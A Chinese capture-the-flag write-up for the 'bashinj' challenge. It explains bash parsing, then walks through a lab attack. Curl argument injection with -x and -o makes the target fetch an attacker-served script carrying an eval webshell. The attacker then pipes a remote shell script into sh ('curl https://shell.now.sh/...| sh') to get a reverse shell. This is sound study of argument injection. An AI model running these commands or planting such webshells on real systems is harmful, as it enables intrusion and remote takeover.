Code-Breaking 2020 Bashinj
前天 P 神更新了 Code-Breaking 2020 的第一道题 bashinj ,小密圈里也有师傅放出 wp 了,趁热学习一下。
前置知识
#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
题目起源于 4 月 16 日 P 神在小密圈分享的一篇帖子,主要内容是:
Bash 语言本身就是执行命令的媒介,但代码注入漏洞的核心原理是相同的,需要一个执行“代码”或“命令”的方法可控,而不是控制一个静态的语法结构中的参数。 上述 example 代码中的 curl,你可以理解为一个“函数”,这里的场景仅仅是函数的参数部分可控,所以不存在代码注入漏洞。
文中提到了对代码注入的一个误区,比如本题中的 curl -v http://httpbin.org/get?name=$name
,第一反应是用 &&id 的方式拼接执行自己想要的命令,其实是错误的。看完帖子似懂非懂,下面做一个实验来更好的理解。
$ export aaa="&&id"
# 测试1
$ echo "test 1"$aaa
# 测试2
$ eval echo "test 2"$aaa
结果如上图。在测试 1 中,$aaa
的值是作为 echo
函数的参数进行处理的,而不是与 echo
同等地位的 bash 命令。在测试 2 中,$aaa
的值与 echo "test 2"
拼接后作为 eval
的参数,也就是 eval "echo test 2 && id"
,这才是我们所设想的命令拼接的情况。
我们来捋一下 bash 的解析过程 (参考文末相关资料):
- 读取输入
- 处理引号
''
和""
- 将输入拆分为命令列表,分隔符:
;
,&
,&&
,||
- 解析特殊运算符
{..}
,<(..)
,< ...
,<<< ..
,.. | ..
并按一定的顺序处理 - 解析扩展,比如把变量替换为其值
- 将一条命令分割为命令名称(分割出的第一个单词)和参数,分隔符:没有转义的空格、制表符、换行符
- 执行命令
(大概是这样子的,各种资料对 2/3/4 步顺序的说法不尽相同。别问我为什么不看官方文档,本来英语就不行,啃完辣么长的文档我可能就瞎了)
这就解释了为什么测试 1 的 $aaa=&&id
没有将其分隔成两条命令,因为在解析 &&
的时候 $aaa
还没被替换为 &&id
。
回到题目 curl -v http://httpbin.org/get?name=$name
,我们能控制的 $name
无论赋值成什么,都只是作为 curl
的参数,而不能成为新的 bash 命令。
那么就只能看看能利用 curl 干点什么。
题解
- 靶机:192.168.221.128:8080
- 攻击:192.168.221.1
整体思路:控制靶机的 curl 请求我们预设的代理服务器,在代理服务器处劫持请求直接返回包含恶意代码的响应,靶机收到响应后保存到本地,再通过执行恶意代码进一步反弹 shell。
-G 构造查询字符串
--data-urlencode 将参数编码
-o 将响应保存为文件
-x 指定 HTTP 代理
首先在攻击机上用 Go 起一个监听 8888 端口的 Web 服务:
package main
import (
"io"
"log"
"net/http"
)
func main() {
http.HandleFunc("/", func (w http.ResponseWriter, req *http.Request) {
log.Print(req)
// 在原 index.cgi 后追加小马
io.WriteString(w, "#!/bin/bash\nsource ./_dep/web.cgi\necho_headers\nname=${_GET[\"name\"]}\n[[ $name == \"\" ]] && name='Bob'\ncurl -v http://httpbin.org/get?name=$name\neval ${_GET['cmd']}")
})
err := http.ListenAndServe(":8888", nil)
if err != nil {
log.Fatal("ListenAndServer: ", err.Error())
}
}
然后让靶机获取代理服务器上的修改过的 index.cgi 并保存到本地:
# 攻击机
$ curl 192.168.221.128:8080/index.cgi -G --data-urlencode "name=hhh -x 192.168.221.1:8888 -o index.cgi"
这样靶机的 curl 拼接结果为 curl -v http://httpbin.org/get?name=hhh -x 192.168.221.1:8888 -o index.cgi
,虽然是请求 httpbin.org ,但通过设置 -x 让请求首先发往我们设置的代理服务器 192.168.221.1:8888 ,我们在代理服务器处劫持请求,直接返回响应,内容是修改过的 index.cgi ,靶机收到响应后覆盖保存到 Index.cgi (只有 index.cgi 有可执行权限)。
除了 -x 设置代理服务器的方式,还可以像小密圈里的 @呆头空师傅和 @Shix 师傅用 —resolve 强制将 curl 的所有请求解析到用于攻击的服务器。两种方式目的都是为了劫持靶机的请求。
修改了 index.cgi ,就可以通过 192.168.221.128:8080/index.cgi?cmd=id
来执行命令了。
# 攻击机
$ nc -lvp 9999
$ curl 192.168.221.128:8080/index.cgi -G --data-urlencode "cmd=curl https://shell.now.sh/192.168.221.1:9999 | sh"
相关资料
最后再推一波 P 神的小密圈,“里面个个都是人才,说话又好听,我超喜欢这里的”。